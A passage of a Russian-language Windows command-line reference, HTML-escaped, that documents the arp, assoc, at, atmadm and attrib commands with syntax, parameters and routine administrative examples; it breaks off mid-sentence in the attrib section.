						&lt;p&gt;Чтобы вывести таблицу кэша ARP для интерфейса, которому назначен IP-адрес 10.0.0.99, введите:&lt;/p&gt;
						&lt;p&gt;arp -a -N 10.0.0.99&lt;/p&gt;
						&lt;p&gt;Чтобы добавить статическую запись кэша ARP, которая сопоставляет IP-адрес 10.0.0.80 с физическим адресом 00-AA-00-4F-2A-9C, введите:&lt;/p&gt;
						&lt;p&gt;arp - 10.0.0.80 00-AA-00-4F-2A-9C&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Assoc&lt;/p&gt;
						&lt;p&gt;Вывод или изменение связи между расширениями имени и типами файлов. Запущенная без параметров команда assoc выводит список текущих связей между расширениями имени и типами файлов.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;assoc [.рсш[=[тип_файла]]]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;.рсш&lt;br /&gt;&amp;#160; &amp;#160; Задание расширения имени файла.&lt;br /&gt;тип_файла&lt;br /&gt;&amp;#160; &amp;#160; Задание типа файла, с которым сопоставляется указанное расширение имени файла.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Чтобы удалить связь между расширением имени и типом файла, введите пробел после знака равенства.&lt;br /&gt;&amp;#160; &amp;#160; * Чтобы просмотреть текущие типы файлов, выполните команду ftype без параметров.&lt;br /&gt;&amp;#160; &amp;#160; * Чтобы направить вывод команды assoc в текстовый файл, воспользуйтесь оператором перенаправления &amp;gt;.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы вывести текущий тип файла, соответствующий расширению имени файла .txt, введите:&lt;/p&gt;
						&lt;p&gt;assoc .txt&lt;/p&gt;
						&lt;p&gt;Чтобы удалить тип файла, соответствующий расширению имени файла .txt, введите:&lt;/p&gt;
						&lt;p&gt;assoc .txt=&lt;/p&gt;
						&lt;p&gt;Чтобы просмотреть текущие сопоставления типов файлов, введите:&lt;/p&gt;
						&lt;p&gt;assoc | more&lt;/p&gt;
						&lt;p&gt;Чтобы отправить результаты выполнения команды assoc в файл Assoc.cfg, введите:&lt;/p&gt;
						&lt;p&gt;assoc&amp;gt;assoc.cfg&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;At&lt;/p&gt;
						&lt;p&gt;Запуск программ и команд в заданное время. Команду at можно использовать только при запущенной службе расписаний. Вызванная без параметров команда at выводит список всех команд и программ, которые будут запущены с ее помощью.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;at [\\имя_компьютера] [{[код] [/delete]|/delete [/yes]}]&lt;/p&gt;
						&lt;p&gt;at [[\\имя_компьютера] часы:минуты [/interactive] [{/every:дата[,...]|/next:дата[,...]}] команда]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;\\имя_компьютера&lt;br /&gt;&amp;#160; &amp;#160; Задание удаленного компьютера, на котором могут быть запущены команды и программы. Если этот параметр не задан, предполагается, что они будут запущены на том компьютере, где выполняется команда at.&lt;br /&gt;код&lt;br /&gt;&amp;#160; &amp;#160; Указание идентификационного номера, присваиваемого команде или программе, которая будет запущена.&lt;br /&gt;/delete&lt;br /&gt;&amp;#160; &amp;#160; Отмена выполнения команды. Если идентификатор Код не задан, все запланированные команды на компьютере будут отменены.&lt;br /&gt;/yes&lt;br /&gt;&amp;#160; &amp;#160; Задание утвердительного ответа на все запросы системы при отмене запланированных событий.&lt;br /&gt;часы:минуты&lt;br /&gt;&amp;#160; &amp;#160; Задание времени запуска команды. Время задается в 24-х часовом формате часы:минуты (от 00:00 [полночь] до 23:59).&lt;br /&gt;/interactive&lt;br /&gt;&amp;#160; &amp;#160; Обмен данными с помощью команды с теми пользователями, которые работают в системе в момент выполнения запланированной команды.&lt;br /&gt;/every:&lt;br /&gt;&amp;#160; &amp;#160; Выполнение команды в указанный день или дни в течение недели или месяца (например каждый четверг или каждый третий день месяца).&lt;br /&gt;дата&lt;br /&gt;&amp;#160; &amp;#160; Задание даты выполнения команды. Имеется возможность указать один или несколько дней недели (т. е. ввести M,T,W,Th,F,S,Su) либо один или несколько дней месяца (т. е. ввести числа в диапазоне от 1 до 31). Несколько дат разделяются запятыми. Если параметр дата не задан, в команде at используется текущий день месяца.&lt;br /&gt;/next:&lt;br /&gt;&amp;#160; &amp;#160; Выполнение команды при наступлении следующей заданной даты (например в следующий четверг). &lt;br /&gt;команда&lt;br /&gt;&amp;#160; &amp;#160; Задание команды Windows, программы (т. е. файл .exe или .com) или пакетного файла (т. е. файл .bat или .cmd), которые требуется выполнить. Если для задания команды необходимо указывать ее местоположение, имя файла задается полностью, с указанием пути и диска. Если команда запускается на удаленном компьютере, укажите имя сервера и сетевое имя в стандартном формате записи пути (UNC), а не имя диска этого компьютера.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; *&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Команда Schtasks является более мощным, расширенным средством планирования заданий с помощью командной строки и включает в себя все функциональные возможности команды at. Для планирования заданий с командной строки используйте команду schtasks вместо at. Для получения дополнительных сведений о команде schtasks щелкните ссылку &amp;quot;&amp;quot;.&lt;br /&gt;&amp;#160; &amp;#160; * Использование at&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Для вызова команды at пользователь должен быть членом локальной группы администраторов.&lt;br /&gt;&amp;#160; &amp;#160; * Загрузка программы Cmd.exe&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Команда at не вызывает автоматически командный процессор Cmd.exe перед запуском команды. Если запускается не исполняемый (.exe) файл, перед командой должен быть явно загружен командный процессор Cmd.exe, например:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cmd /c dir &amp;gt; c:\test.out&lt;br /&gt;&amp;#160; &amp;#160; * Просмотр запланированных команд&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если команда at используется без параметров, запланированные задания выводятся в таблице следующего вида:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Состояние&amp;#160; Код&amp;#160; &amp;#160;День&amp;#160; &amp;#160; &amp;#160; &amp;#160;Время&amp;#160; &amp;#160; &amp;#160; &amp;#160; Командная строка&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; OK&amp;#160; &amp;#160; &amp;#160; 1&amp;#160; &amp;#160; Каждый F&amp;#160; &amp;#160; 4:30 PM&amp;#160; &amp;#160; &amp;#160;net send group leads status due&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; OK&amp;#160; &amp;#160; &amp;#160; 2&amp;#160; &amp;#160; Каждый M&amp;#160; &amp;#160; 12:00 AM&amp;#160; &amp;#160; chkstor &amp;gt; check.file&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; OK&amp;#160; &amp;#160; &amp;#160; 3&amp;#160; &amp;#160; Каждый F&amp;#160; &amp;#160; 11:59 PM&amp;#160; &amp;#160; backup2.bat&lt;br /&gt;&amp;#160; &amp;#160; * Включение идентификационного номера (код)&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если в командной строке для команды at указан идентификационный номер (код), выводятся сведения об одной записи, имеющие следующий вид:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Код задачи:&amp;#160; &amp;#160; &amp;#160; 1&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Состояние:&amp;#160; &amp;#160; &amp;#160; &amp;#160;OK&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Дата:&amp;#160; &amp;#160; &amp;#160;Каждый&amp;#160; F&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Время дня:&amp;#160; 4:30 PM&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Команда:&amp;#160; &amp;#160; &amp;#160; net send group leads status due&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; После того как запуск команды запланирован с помощью at, особенно если запускаемая команда имеет дополнительные параметры, проверьте правильность ее ввода, вызвав at без параметров. Если сведения в столбце «Командная строка» содержат ошибки, удалите запись о данной команде в списке запланированных команд и повторно введите данные. Если по-прежнему имеют место ошибки, введите команду с меньшим числом параметров.&lt;br /&gt;&amp;#160; &amp;#160; * Просмотр результатов&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Команды, запуск которых задан с помощью at, выполняются как фоновые процессы. Сведения не отображаются на экране компьютера. Для перенаправления вывода в файл используется символ перенаправления (&amp;gt;). Если вывод перенаправляется в файл, необходимо использовать управляющий символ (^) перед символом перенаправления независимо от того, используется ли at в командной строке или в пакетном файле. Например, чтобы перенаправить вывод в файл Output.txt, введите:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; at 14:45 c:\test.bat ^&amp;gt;c:\output.txt&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Текущим каталогом для выполнения запланированных команд является системный_корневой_каталог.&lt;br /&gt;&amp;#160; &amp;#160; * Изменение системного времени&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если системное время изменено после планирования вызова команд с помощью at, синхронизируйте планировщик команды at с измененным системным временем, вызвав at без параметров.&lt;br /&gt;&amp;#160; &amp;#160; * Сохранение запланированных команд&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Запланированные команды сохраняются в реестре. Таким образом, запланированные задания не будут потеряны при перезапуске службы расписаний.&lt;br /&gt;&amp;#160; &amp;#160; * Подключение к сетевым дискам&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Не указывайте перенаправленные диски для запланированных заданий, требующих доступ к сети. Служба расписаний может не получить доступа к таким дискам или диски могут оказаться неподключенными, если другой пользователь окажется подключенным к системе в момент выполнения запланированного задания. Вместо этого, используйте пути UNC при работе с запланированными заданиями. Например:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; at 13:00 my_backup \\server\share&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Запрещается использовать следующий синтаксис, где x: — подключение, устанавливаемое пользователем:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; at 13:00 my_backup x:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если с помощью at запланирована команда, использующая буквенное обозначение диска для подключения к общему каталогу, то после выполнения команды должна быть запланирована команда at, отключающая данный диск. В противном случае, имя, присвоенное данному диску, будет недоступно в командной строке.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Для вывода списка команд, которые будут выполнены на сервере Marketing, можно использовать следующую команду:&lt;br /&gt;at \\marketing&lt;/p&gt;
						&lt;p&gt;Для получения дополнительных сведений о команде с идентификатором 3 на сервере Corp требуется ввести следующую команду:&lt;br /&gt;at \\corp 3&lt;/p&gt;
						&lt;p&gt;Для запуска команды net share на сервере Corp в 8:00 и перенаправления вывода на сервер Maintenance в общий каталог Reports в файл Corp.txt требуется ввести следующую команду:&lt;br /&gt;at \\corp 08:00 cmd /c &amp;quot;net share reports=d:\marketing\reports &amp;gt;&amp;gt; \\maintenance\reports\corp.txt&amp;quot;&lt;/p&gt;
						&lt;p&gt;Чтобы записывать на магнитную ленту резервную копию жесткого диска сервера Marketing в полночь через каждые пять дней, создайте пакетный файл Archive.cmd, содержащий команды резервирования, а затем запланируйте запуск пакетного файла, введя:&lt;br /&gt;at \\marketing 00:00 /every:5,10,15,20,25,30 archive&lt;/p&gt;
						&lt;p&gt;Чтобы отменить вызов всех команд, запланированных на данном сервере, необходимо очистить расписание команды at следующим образом:&lt;br /&gt;at /delete&lt;/p&gt;
						&lt;p&gt;Чтобы запустить команду, которая не является исполняемым файлом, введите перед ней cmd /c для загрузки программы Cmd.exe следующим образом:&lt;br /&gt;cmd /c dir &amp;gt; c:\test.out&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Atmadm&lt;/p&gt;
						&lt;p&gt;Контроль подключений и адресов, зарегистрированных диспетчером вызовов ATM в сетях с асинхронным режимом передачи (ATM). Команда atmadm может быть использована для вывода статистики входящих и исходящих вызовов ATM-адаптеров. Вызванная без параметров команда atmadm отображает статистику для контроля состояния активных ATM-подключений.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;atmadm [/c][/a] [/s]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;/c&lt;br /&gt;&amp;#160; &amp;#160; Вывод сведений о вызовах для всех текущих подключений к сетевому ATM-адаптеру, установленному на компьютере.&lt;br /&gt;/a&lt;br /&gt;&amp;#160; &amp;#160; Вывод зарегистрированного ATM-адреса точек доступа к сетевым службам (Network Service Access Point, NSAP) для каждого адаптера, установленного на компьютере.&lt;br /&gt;/s&lt;br /&gt;&amp;#160; &amp;#160; Вывод статистики для контроля состояния активных ATM-подключений.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;br /&gt;Вывод сведений о вызовах&lt;/p&gt;
						&lt;p&gt;Чтобы вывести сведения о вызовах для всех текущих подключений к сетевому ATM-адаптеру, установленному на компьютере, введите:&lt;/p&gt;
						&lt;p&gt;atmadm /c&lt;/p&gt;
						&lt;p&gt;Сведения, полученные в результате выполнения команды atmadm /c, будут иметь следующий вид:&lt;/p&gt;
						&lt;p&gt;Статистика диспетчера звонков ATM&lt;/p&gt;
						&lt;p&gt;ATM-подключения для интерфейса : [009] Адаптер Olicom ATM PCI 155&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;Подключение&amp;#160; VPI/VCI&amp;#160; &amp;#160;Удаленный адрес/&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Параметры носителя (измеряются в байт/с)&lt;br /&gt;&amp;#160; &amp;#160;In&amp;#160; PMP SVC&amp;#160; &amp;#160; 0/193&amp;#160; &amp;#160;47000580FFE1000000F21A2E180020481A2E180B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Tx:UBR,Peak 0,Avg 0,MaxSdu 1516&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Rx:UBR,Peak 16953936,Avg 16953936,MaxSdu 1516&lt;br /&gt;&amp;#160; &amp;#160;Out P-P SVC&amp;#160; &amp;#160; 0/192&amp;#160; &amp;#160;47000580FFE1000000F21A2E180020481A2E180B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Tx:UBR,Peak 16953936,Avg 16953936,MaxSdu 1516&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Rx:UBR,Peak 16953936,Avg 16953936,MaxSdu 1516&lt;br /&gt;&amp;#160; &amp;#160;In&amp;#160; PMP SVC&amp;#160; &amp;#160; 0/191&amp;#160; &amp;#160;47000580FFE1000000F21A2E180020481A2E180B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Tx:UBR,Peak 0,Avg 0,MaxSdu 1516&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Rx:UBR,Peak 16953936,Avg 16953936,MaxSdu 1516&lt;br /&gt;&amp;#160; &amp;#160;Out P-P SVC&amp;#160; &amp;#160; 0/190&amp;#160; &amp;#160;47000580FFE1000000F21A2E180020481A2E180B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Tx:UBR,Peak 16953936,Avg 16953936,MaxSdu 1516&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Rx:UBR,Peak 16953936,Avg 16953936,MaxSdu 1516&lt;br /&gt;&amp;#160; &amp;#160;In&amp;#160; P-P SVC&amp;#160; &amp;#160; 0/475&amp;#160; &amp;#160;47000580FFE1000000F21A2E180000C110081501&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Tx:UBR,Peak 16953984,Avg 16953984,MaxSdu 9188&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Rx:UBR,Peak 16953936,Avg 16953936,MaxSdu 9188&lt;br /&gt;&amp;#160; &amp;#160;Out PMP SVC&amp;#160; &amp;#160; 0/194&amp;#160; &amp;#160;47000580FFE1000000F21A2E180000C110081501 (0)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Tx:UBR,Peak 16953984,Avg 16953984,MaxSdu 9180&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Rx:UBR,Peak 0,Avg 0,MaxSdu 0&lt;br /&gt;&amp;#160; &amp;#160;Out P-P SVC&amp;#160; &amp;#160; 0/474&amp;#160; &amp;#160;4700918100000000613E5BFE010000C110081500&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Tx:UBR,Peak 16953984,Avg 16953984,MaxSdu 9188&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Rx:UBR,Peak 16953984,Avg 16953984,MaxSdu 9188&lt;br /&gt;&amp;#160; &amp;#160;In&amp;#160; PMP SVC&amp;#160; &amp;#160; 0/195&amp;#160; &amp;#160;47000580FFE1000000F21A2E180000C110081500&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Tx:UBR,Peak 0,Avg 0,MaxSdu 0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Rx:UBR,Peak 16953936,Avg 16953936,MaxSdu 9180&lt;/p&gt;
						&lt;p&gt;В следующей таблице содержится описание каждого элемента из приведенного вывода команды atmadm /c.&lt;br /&gt;Тип данных 	Изображение на экране 	Описание&lt;br /&gt;Сведения о подключении 	In/Out 	Направление вызова. In — вызов сетевого ATM-адаптера другим устройством. Out — вызов другого устройства сетевым ATM-адаптером.&lt;br /&gt;	PMP 	Вызов из одной точки нескольких точек.&lt;br /&gt;	P-P 	Прямой вызов.&lt;br /&gt;	SVC 	Соединение по переключаемому виртуальному каналу.&lt;br /&gt;	PVC 	Соединение по постоянному виртуальному каналу.&lt;br /&gt;Сведения о VPI/VCI 	VPI/VCI 	Виртуальный путь и виртуальный канал входящего и исходящего вызовов.&lt;br /&gt;Удаленный адрес/Параметры носителя 	47000580FFE1000000F21A2E180000C110081500 	Адрес NSAP вызывающего (In) или вызываемого (Out) устройства ATM.&lt;br /&gt;	Tx 	Параметр Tx включает три следующих элемента.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Указанный или используемый по умолчанию тип скорости передачи (UBR — неуказанная, CBR — постоянная, VBR — переменная или ABR — доступная скорость передачи).&lt;br /&gt;&amp;#160; &amp;#160; * Указанная или используемая по умолчанию скорость линии.&lt;br /&gt;&amp;#160; &amp;#160; * Указанный размер единицы данных службы (SDU).&lt;/p&gt;
						&lt;p&gt;	Rx 	Параметр Rx включает три следующих элемента.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Указанный или используемый по умолчанию тип скорости передачи (UBR — неуказанная, CBR — постоянная, VBR — переменная или ABR — доступная скорость передачи).&lt;br /&gt;&amp;#160; &amp;#160; * Указанная или используемая по умолчанию скорость линии.&lt;br /&gt;&amp;#160; &amp;#160; * Указанный размер единицы данных службы (SDU).&lt;/p&gt;
						&lt;p&gt;Вывод всех зарегистрированных адресов&lt;/p&gt;
						&lt;p&gt;Чтобы вывести зарегистрированные ATM-адреса точек доступа к сетевым службам (Network Service Access Point, NSAP) для каждого адаптера, установленного на компьютере, введите:&lt;/p&gt;
						&lt;p&gt;atmadm /a&lt;/p&gt;
						&lt;p&gt;Сведения, полученные в результате выполнения команды atmadm /a, будут иметь следующий вид:&lt;/p&gt;
						&lt;p&gt;Статистика диспетчера звонков ATM&lt;/p&gt;
						&lt;p&gt;Адреса ATM для интерфейса : [009] Адаптер Olicom ATM PCI 155&lt;/p&gt;
						&lt;p&gt;47000580FFE1000000F21A2E180000C110081500&lt;/p&gt;
						&lt;p&gt;Вывод статистики&lt;/p&gt;
						&lt;p&gt;Чтобы вывести статистику для контроля состояния активных ATM-подключений, введите:&lt;/p&gt;
						&lt;p&gt;atmadm /s&lt;/p&gt;
						&lt;p&gt;Сведения, полученные в результате выполнения команды atmadm /s, будут иметь следующий вид:&lt;/p&gt;
						&lt;p&gt;Статистика диспетчера звонков ATM&lt;/p&gt;
						&lt;p&gt;Статистика диспетчера вызовов ATM для интерфейса : [009] Адаптер Olicom ATM PCI 155&lt;/p&gt;
						&lt;p&gt;	Текущие активные звонки&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; = 4&lt;br /&gt;	Общее число успешных входных звонков&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;= 1332&lt;br /&gt;	Общее число успешных выходных звонков&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; = 1297&lt;br /&gt;	Число сбоев входных звонков&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; = 1&lt;br /&gt;	Число сбоев выходных звонков&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;= 1&lt;br /&gt;	Число звонков, прерванных удаленным абонентом&amp;#160; = 1302&lt;br /&gt;	Число звонков, прерванных локальным абонентом&amp;#160; = 1323&lt;br /&gt;	Послано сигнальных и ILMI-пакетов&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; = 33655&lt;br /&gt;	Получено сигнальных и ILMI-пакетов&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;= 34989&lt;/p&gt;
						&lt;p&gt;В следующей таблице содержится описание каждого элемента из приведенного вывода команды atmadm /s.&lt;br /&gt;Статистика диспетчера вызовов 	Описание&lt;br /&gt;Текущие активные звонки 	Активные вызовы ATM-адаптера, установленного на компьютере.&lt;br /&gt;Общее число успешных входных звонков 	Успешно полученные вызовы в сети с асинхронной передачей.&lt;br /&gt;Общее число успешных выходных звонков 	Вызовы с данного компьютера, успешно выполненные на других ATM-устройствах в сети.&lt;br /&gt;Число сбоев входных звонков 	Входящие вызовы, которым не удалось подключиться к компьютеру.&lt;br /&gt;Число сбоев выходных звонков 	Исходящие вызовы, которым не удалось подключиться к другому устройству в сети.&lt;br /&gt;Число звонков, прерванных удаленным абонентом 	Звонки, прерванные удаленным устройством в сети.&lt;br /&gt;Число звонков, прерванных локальным абонентом 	Звонки, прерванные компьютером.&lt;br /&gt;Послано сигнальных и ILMI-пакетов 	Количество пакетов интегрированного интерфейса локального управления (ILMI), отправленных коммутатору, к которому компьютер пытается подключиться.&lt;br /&gt;Получено сигнальных и ILMI-пакетов 	Количество пакетов ILMI, полученных от коммутатора.&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Attrib&lt;/p&gt;
						&lt;p&gt;Позволяет просматривать, устанавливать или снимать атрибуты файла или каталога, такие как «Только чтение», «Архивный», «Системный» и «Скрытый». Выполненная без параметров команда attrib выводит атрибуты всех файлов в текущем каталоге.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;attrib [{+r|-r}] [{+a|-a}] [{+s|-s}] [{+h|-h}] [[диск:][путь] имя_файла] [/s[/d]]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;+r&lt;br /&gt;&amp;#160; &amp;#160; Установка атрибута «Только чтение».&lt;br /&gt;-r&lt;br /&gt;&amp;#160; &amp;#160; Снятие атрибута «Только чтение».&lt;br /&gt;+a&lt;br /&gt;&amp;#160; &amp;#160; Установка атрибута «Архивный».&lt;br /&gt;-a&lt;br /&gt;&amp;#160; &amp;#160; Снятие атрибута «Архивный».&lt;br /&gt;+s&lt;br /&gt;&amp;#160; &amp;#160; Установка атрибута «Системный».&lt;br /&gt;-s&lt;br /&gt;&amp;#160; &amp;#160; Снятие атрибута «Системный».&lt;br /&gt;+h&lt;br /&gt;&amp;#160; &amp;#160; Установка атрибута «Скрытый».&lt;br /&gt;-h&lt;br /&gt;&amp;#160; &amp;#160; Снятие атрибута «Скрытый».&lt;br /&gt;[диск:][путь] имя_файла&lt;br /&gt;&amp;#160; &amp;#160; Задание местонахождения и имени каталога, файла или набора файлов, атрибуты которых требуется просмотреть или изменить. Для обработки группы файлов допускается применение подстановочных знаков (? и *) в параметре имя_файла.&lt;br /&gt;/s&lt;br /&gt;&amp;#160; &amp;#160; Выполнение команды attrib и всех параметров командной строки для соответствующих файлов в текущем каталоге и всех его подкаталогах.&lt;br /&gt;/d&lt;br /&gt;&amp;#160; &amp;#160; Выполнение команды attrib и всех параметров командной строки для каталогов.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Работа с группами файлов&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Для просмотра или изменения атрибутов группы файлов можно воспользоваться подстановочными знаками (? и *) в параметре имя_файла. Для изменения атрибутов системных или скрытых файлов вначале требуется снять соответствующие атрибуты.&lt;br /&gt;&amp;#160; &amp;#160; * Использование атрибута «Архивный»&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Атрибут «Архивный» (т. е. параметр +a) используется для отметки файлов, измененных со времени последнего резервного копирования. Этот атрибут используется в команде xcopy. Для получения дополнительных сведений об атрибуте «Архивный» и команде xcopy щелкните ссылку &amp;quot;&amp;quot;.&lt;br /&gt;&amp;#160; &amp;#160; * Команда attrib с другими параметрами доступна в консоли восстановления.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы вывести атрибуты файла News86, расположенного в текущем каталоге, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;attrib news86&lt;/p&gt;
						&lt;p&gt;Чтобы назначить атрибут «Только чтение» файлу Report.txt, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;attrib +r report.txt&lt;/p&gt;
						&lt;p&gt;Чтобы снять атрибут &amp;quot;Только чтение&amp;quot; с файлов в каталоге \Public\Jones на диске B и всех его подкаталогах, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;attrib -r b:\public\jones\*.* /s&lt;/p&gt;
						&lt;p&gt;Предположим, что необходимо передать коллеге диск, содержащий файлы из текущего каталога диска A, за исключением файлов с расширением .bak. Поскольку для копирования файлов с установленным атрибутом «Архивный» может быть использована команда xcopy, необходимо установить этот атрибут для всех файлов, подлежащих копированию. Вначале установите атрибут «Архивный» для всех файлов на диске A, а затем снимите этот атрибут для файлов с расширением .bak. Например, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;attrib +a a:*.* attrib -a a:*.bak&lt;/p&gt;
						&lt;p&gt;Теперь для копирования файлов с диска A на диск B воспользуйтесь командой xcopy. Запущенная с параметром /a команда xcopy скопирует только файлы с установленным атрибутом «Архивный». Например, введите следующую команду:&lt;/p&gt;
